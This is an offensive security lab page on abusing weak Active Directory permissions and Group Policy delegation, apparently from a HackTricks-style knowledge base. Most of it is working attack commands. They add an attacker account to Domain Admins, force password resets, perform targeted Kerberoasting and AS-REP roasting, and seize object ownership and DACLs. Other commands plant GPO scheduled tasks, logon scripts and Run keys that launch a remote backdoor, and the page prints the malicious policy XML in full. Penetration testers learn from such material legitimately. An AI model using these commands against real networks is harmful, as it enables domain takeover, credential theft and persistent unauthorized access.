Abusing Active Directory ACLs/ACEs
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This lab is to abuse weak permissions of Active Directory Discretionary Access Control Lists (DACLs) and Acccess Control Entries (ACEs) that make up DACLs.
Active Directory objects such as users and groups are securable objects and DACL/ACEs define who can read/modify those objects (i.e change account name, reset password, etc).
An example of ACEs for the "Domain Admins" securable object can be seen here:
Some of the Active Directory object permissions and types that we as attackers are interested in:
- GenericAll - full rights to the object (add users to a group or reset user's password)
- GenericWrite - update object's attributes (i.e logon script)
- WriteOwner - change object owner to attacker controlled user take over the object
- WriteDACL - modify object's ACEs and give attacker full control right over the object
- AllExtendedRights - ability to add user to a group or reset password
- ForceChangePassword - ability to change user's password
- Self (Self-Membership) - ability to add yourself to a group
In this lab, we are going to explore and try to exploit most of the above ACEs.
It's worth familiarizing yourself with all of the BloodHound edges and as many Active Directory Extended Rights as possible as you never know when you may encounter a less common one during an assessment.
Using powerview, let's check if our attacking user
spotless has GenericAll rights on the AD object for the user delegate:Get-ObjectAcl -SamAccountName delegate -ResolveGUIDs | ? {$_.ActiveDirectoryRights -eq "GenericAll"}
We can see that indeed our user
spotless has the GenericAll rights, effectively enabling the attacker to take over the account:
- Change password: You could just change the password of that user withnet user <username> <password> /domain
- Targeted Kerberoasting: You could make the user kerberoastable setting an SPN on the account, kerberoast it and attempt to crack offline:# Set SPNSet-DomainObject -Credential $creds -Identity <username> -Set @{serviceprincipalname="fake/NOTHING"}# Get Hash.\Rubeus.exe kerberoast /user:<username> /nowrap# Clean SPNSet-DomainObject -Credential $creds -Identity <username> -Clear serviceprincipalname -Verbose# You can also use the tool https://github.com/ShutdownRepo/targetedKerberoast# to get hashes of one or all the userspython3 targetedKerberoast.py -domain.local -u <username> -p password -v
- Targeted ASREPRoasting: You could make the user ASREPRoastable by disabling preauthentication and then ASREProast it.Set-DomainObject -Identity <username> -XOR @{UserAccountControl=4194304}
Let's see if
Domain admins group has any weak permissions. First of, let's get its distinguishedName:Get-NetGroup "domain admins" -FullData
Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local"}
We can see that our attacking user
spotless has GenericAll rights once again:
Effectively, this allows us to add ourselves (the user
spotless) to the Domain Admin group:net group "domain admins" spotless /add /domain
Same could be achieved with Active Directory or PowerSploit module:
# with active directory module
Add-ADGroupMember -Identity "domain admins" -Members spotless
# with Powersploit
Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"
- If you have these privileges on a Computer object, you can pull Kerberos Resource-based Constrained Delegation: Computer Object Take Over off.
- Or, either you have it in a Computer or a user you can use Shadow Credentials to impersonate it:
If our controlled user has
WriteProperty right on All objects for Domain Admin group:
We can again add ourselves to the
Domain Admins group and escalate privileges:net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain
Another privilege that enables the attacker adding themselves to a group:
net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain
One more privilege that enables the attacker adding themselves to a group:
Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}
net group "domain admins" spotless /add /domain
If we have
ExtendedRight on User-Force-Change-Password object type, we can reset the user's password without knowing their current password:Get-ObjectAcl -SamAccountName delegate -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}
Doing the same with powerview:
Set-DomainUserPassword -Identity delegate -Verbose
Another method that does not require fiddling with password-secure-string conversion:
$c = Get-Credential
Set-DomainUserPassword -Identity delegate -AccountPassword $c.Password -Verbose
...or a one liner if no interactive session is not available:
Set-DomainUserPassword -Identity delegate -AccountPassword (ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose
and one last way yo achieve this from linux:
rpcclient -U KnownUsername 10.10.10.192
> setuserinfo2 UsernameChange 23 'ComplexP4ssw0rd!'
More info:
Note how before the attack the owner of
Domain Admins is Domain Admins:
After the ACE enumeration, if we find that a user in our control has
WriteOwner rights on ObjectType:AllGet-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}
...we can change the
Domain Admins object's owner to our user, which in our case is spotless. Note that the SID specified with -Identity is the SID of the Domain Admins group:Set-DomainObjectOwner -Identity S-1-5-21-2552734371-813931464-1050690807-512 -OwnerIdentity "spotless" -Verbose
//You can also use the name instad of the SID (HTB: Reel)
Set-DomainObjectOwner -Identity Herman -OwnerIdentity nico
Get-ObjectAcl -ResolveGUIDs -SamAccountName delegate | ? {$_.IdentityReference -eq "OFFENSE\spotless"}
WriteProperty on an ObjectType, which in this particular case is Script-Path, allows the attacker to overwrite the logon script path of the delegate user, which means that the next time, when the user delegate logs on, their system will execute our malicious script:Set-ADObject -SamAccountName delegate -PropertyName scriptpath -PropertyValue "\\10.0.0.5\totallyLegitScript.ps1"
Below shows the user's
delegate logon script field got updated in the AD:
This allows you to set as members of the group new users (yourself for example):
# Create creds
$pwd = ConvertTo-SecureString 'JustAWeirdPwd!$' -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential('DOMAIN\username', $pwd)
# Add user to group
Add-DomainGroupMember -Credential $creds -Identity 'Group Name' -Members 'username' -Verbose
# Check user was added
Get-DomainGroupMember -Identity "Group Name" | Select MemberName
# Remove group member
Remove-DomainGroupMember -Credential $creds -Identity "Group Name" -Members 'username' -Verbose
If you are the owner of a group, like I'm the owner of a
Test AD group:
Which you can of course do through powershell:
([ADSI]"LDAP://CN=test,CN=Users,DC=offense,DC=local").PSBase.get_ObjectSecurity().GetOwner([System.Security.Principal.NTAccount]).Value
And you have a
WriteDACL on that AD object:
$ADSI = [ADSI]"LDAP://CN=test,CN=Users,DC=offense,DC=local"
$IdentityReference = (New-Object System.Security.Principal.NTAccount("spotless")).Translate([System.Security.Principal.SecurityIdentifier])
$ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule $IdentityReference,"GenericAll","Allow"
$ADSI.psbase.ObjectSecurity.SetAccessRule($ACE)
$ADSI.psbase.commitchanges()
Which means you now fully control the AD object:
This effectively means that you can now add new users to the group.
Interesting to note that I could not abuse these privileges by using Active Directory module and
Set-Acl / Get-Acl cmdlets:$path = "AD:\CN=test,CN=Users,DC=offense,DC=local"
$acl = Get-Acl -Path $path
$ace = new-object System.DirectoryServices.ActiveDirectoryAccessRule (New-Object System.Security.Principal.NTAccount "spotless"),"GenericAll","Allow"
$acl.AddAccessRule($ace)
Set-Acl -Path $path -AclObject $acl
The DCSync permission implies having these permissions over the domain itself: DS-Replication-Get-Changes, Replicating Directory Changes All and Replicating Directory Changes In Filtered Set.
Learn more about the DCSync attack here.
Sometimes, certain users/groups may be delegated access to manage Group Policy Objects as is the case with
offense\spotless user:
We can see this by leveraging PowerView like so:
Get-ObjectAcl -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}
The below indicates that the user
offense\spotless has WriteProperty, WriteDacl, WriteOwner privileges among a couple of others that are ripe for abuse:
We know the above ObjectDN from the above screenshot is referring to the
New Group Policy Object GPO since the ObjectDN points to CN=Policies and also the CN={DDC640FF-634A-4442-BC2E-C05EED132F0C} which is the same in the GPO settings as highlighted below:
If we want to search for misconfigured GPOs specifically, we can chain multiple cmdlets from PowerSploit like so:
Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | ? {$_.IdentityReference -eq "OFFENSE\spotless"}
Computers with a Given Policy Applied
We can now resolve the computer names the GPO
Misconfigured Policy is applied to:Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_}
Policies Applied to a Given Computer
Get-DomainGPO -ComputerIdentity ws01 -Properties Name, DisplayName
OUs with a Given Policy Applied
Get-DomainOU -GPLink "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" -Properties DistinguishedName
One of the ways to abuse this misconfiguration and get code execution is to create an immediate scheduled task through the GPO like so:
New-GPOImmediateTask -TaskName evilTask -Command cmd -CommandArguments "/c net localgroup administrators spotless /add" -GPODisplayName "Misconfigured Policy" -Verbose -Force
The above will add our user spotless to the local
administrators group of the compromised box. Note how prior to the code execution the group does not contain user spotless:
You can check to see if the GroupPolicy module is installed with
Get-Module -List -Name GroupPolicy | select -expand ExportedCommands. In a pinch, you can install it with Install-WindowsFeature –Name GPMC as a local admin.# Create new GPO and link it with the OU Workstrations
New-GPO -Name "Evil GPO" | New-GPLink -Target "OU=Workstations,DC=dev,DC=domain,DC=io"
# Make the computers inside Workstrations create a new reg key that will execute a backdoor
## Search a shared folder where you can write and all the computers affected can read
Set-GPPrefRegistryValue -Name "Evil GPO" -Context Computer -Action Create -Key "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" -ValueName "Updater" -Value "%COMSPEC% /b /c start /b /min \\dc-2\software\pivot.exe" -Type ExpandString
This payload, after the GPO is updated, will need also someone to login inside the computer.
It cannot create GPOs, so we must still do that with RSAT or modify one we already have write access to.
.\SharpGPOAbuse.exe --AddComputerTask --TaskName "Install Updates" --Author NT AUTHORITY\SYSTEM --Command "cmd.exe" --Arguments "/c \\dc-2\software\pivot.exe" --GPOName "PowerShell Logging"
The previous abusive GPO updates are reloaded roughly each 90 minutes.
if you have access to the computer you can force it with
gpupdate /force .If we observe the Scheduled Tasks of the
Misconfigured Policy GPO, we can see our evilTask sitting there:
Below is the XML file that got created by
New-GPOImmediateTask that represents our evil scheduled task in the GPO:\offense.local\SysVol\offense.local\Policies\{DDC640FF-634A-4442-BC2E-C05EED132F0C}\Machine\Preferences\ScheduledTasks\ScheduledTasks.xml
<?xml version="1.0" encoding="utf-8"?>
<ScheduledTasks clsid="{CC63F200-7309-4ba0-B154-A71CD118DBCC}">
<ImmediateTaskV2 clsid="{9756B581-76EC-4169-9AFC-0CA8D43ADB5F}" name="evilTask" image="0" changed="2018-11-20 13:43:43" uid="{6cc57eac-b758-4c52-825d-e21480bbb47f}" userContext="0" removePolicy="0">
<Properties action="C" name="evilTask" runAs="NT AUTHORITY\System" logonType="S4U">
<Task version="1.3">
<RegistrationInfo>
<Author>NT AUTHORITY\System</Author>
<Description></Description>
</RegistrationInfo>
<Principals>
<Principal id="Author">
<UserId>NT AUTHORITY\System</UserId>
<RunLevel>HighestAvailable</RunLevel>
<LogonType>S4U</LogonType>
</Principal>
</Principals>
<Settings>
<IdleSettings>
<Duration>PT10M</Duration>
<WaitTimeout>PT1H</WaitTimeout>
<StopOnIdleEnd>true</StopOnIdleEnd>
<RestartOnIdle>false</RestartOnIdle>
</IdleSettings>
<MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
<DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
<StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>
<AllowHardTerminate>false</AllowHardTerminate>
<StartWhenAvailable>true</StartWhenAvailable>
<AllowStartOnDemand>false</AllowStartOnDemand>
<Enabled>true</Enabled>
<Hidden>true</Hidden>
<ExecutionTimeLimit>PT0S</ExecutionTimeLimit>
<Priority>7</Priority>
<DeleteExpiredTaskAfter>PT0S</DeleteExpiredTaskAfter>
<RestartOnFailure>
<Interval>PT15M</Interval>
<Count>3</Count>
</RestartOnFailure>
</Settings>
<Actions Context="Author">
<Exec>
<Command>cmd</Command>
<Arguments>/c net localgroup administrators spotless /add</Arguments>
</Exec>
</Actions>
<Triggers>
<TimeTrigger>
<StartBoundary>%LocalTimeXmlEx%</StartBoundary>
<EndBoundary>%LocalTimeXmlEx%</EndBoundary>
<Enabled>true</Enabled>
</TimeTrigger>
</Triggers>
</Task>
</Properties>
</ImmediateTaskV2>
</ScheduledTasks>
The same privilege escalation could be achieved by abusing the GPO Users and Groups feature. Note in the below file, line 6 where the user
spotless is added to the local administrators group - we could change the user to something else, add another one or even add the user to another group/multiple groups since we can amend the policy configuration file in the shown location due to the GPO delegation assigned to our user spotless:\offense.local\SysVol\offense.local\Policies\{DDC640FF-634A-4442-BC2E-C05EED132F0C}\Machine\Preferences\Groups
<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}">
<Group clsid="{6D4A79E4-529C-4481-ABD0-F5BD7EA93BA7}" name="Administrators (built-in)" image="2" changed="2018-12-20 14:08:39" uid="{300BCC33-237E-4FBA-8E4D-D8C3BE2BB836}">
<Properties action="U" newName="" description="" deleteAllUsers="0" deleteAllGroups="0" removeAccounts="0" groupSid="S-1-5-32-544" groupName="Administrators (built-in)">
<Members>
<Member name="spotless" action="ADD" sid="" />
</Members>
</Properties>
</Group>
</Groups>
Additionally, we could think about leveraging logon/logoff scripts, using registry for autoruns, installing .msi, edit services and similar code execution avenues.
- Initially, this information was mostly copied from https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces
- Do you work in a cybersecurity company? Do you want to see your company advertised in HackTricks? or do you want to have access to the latest version of the PEASS or download HackTricks in PDF? Check the SUBSCRIPTION PLANS!
Last modified 1mo ago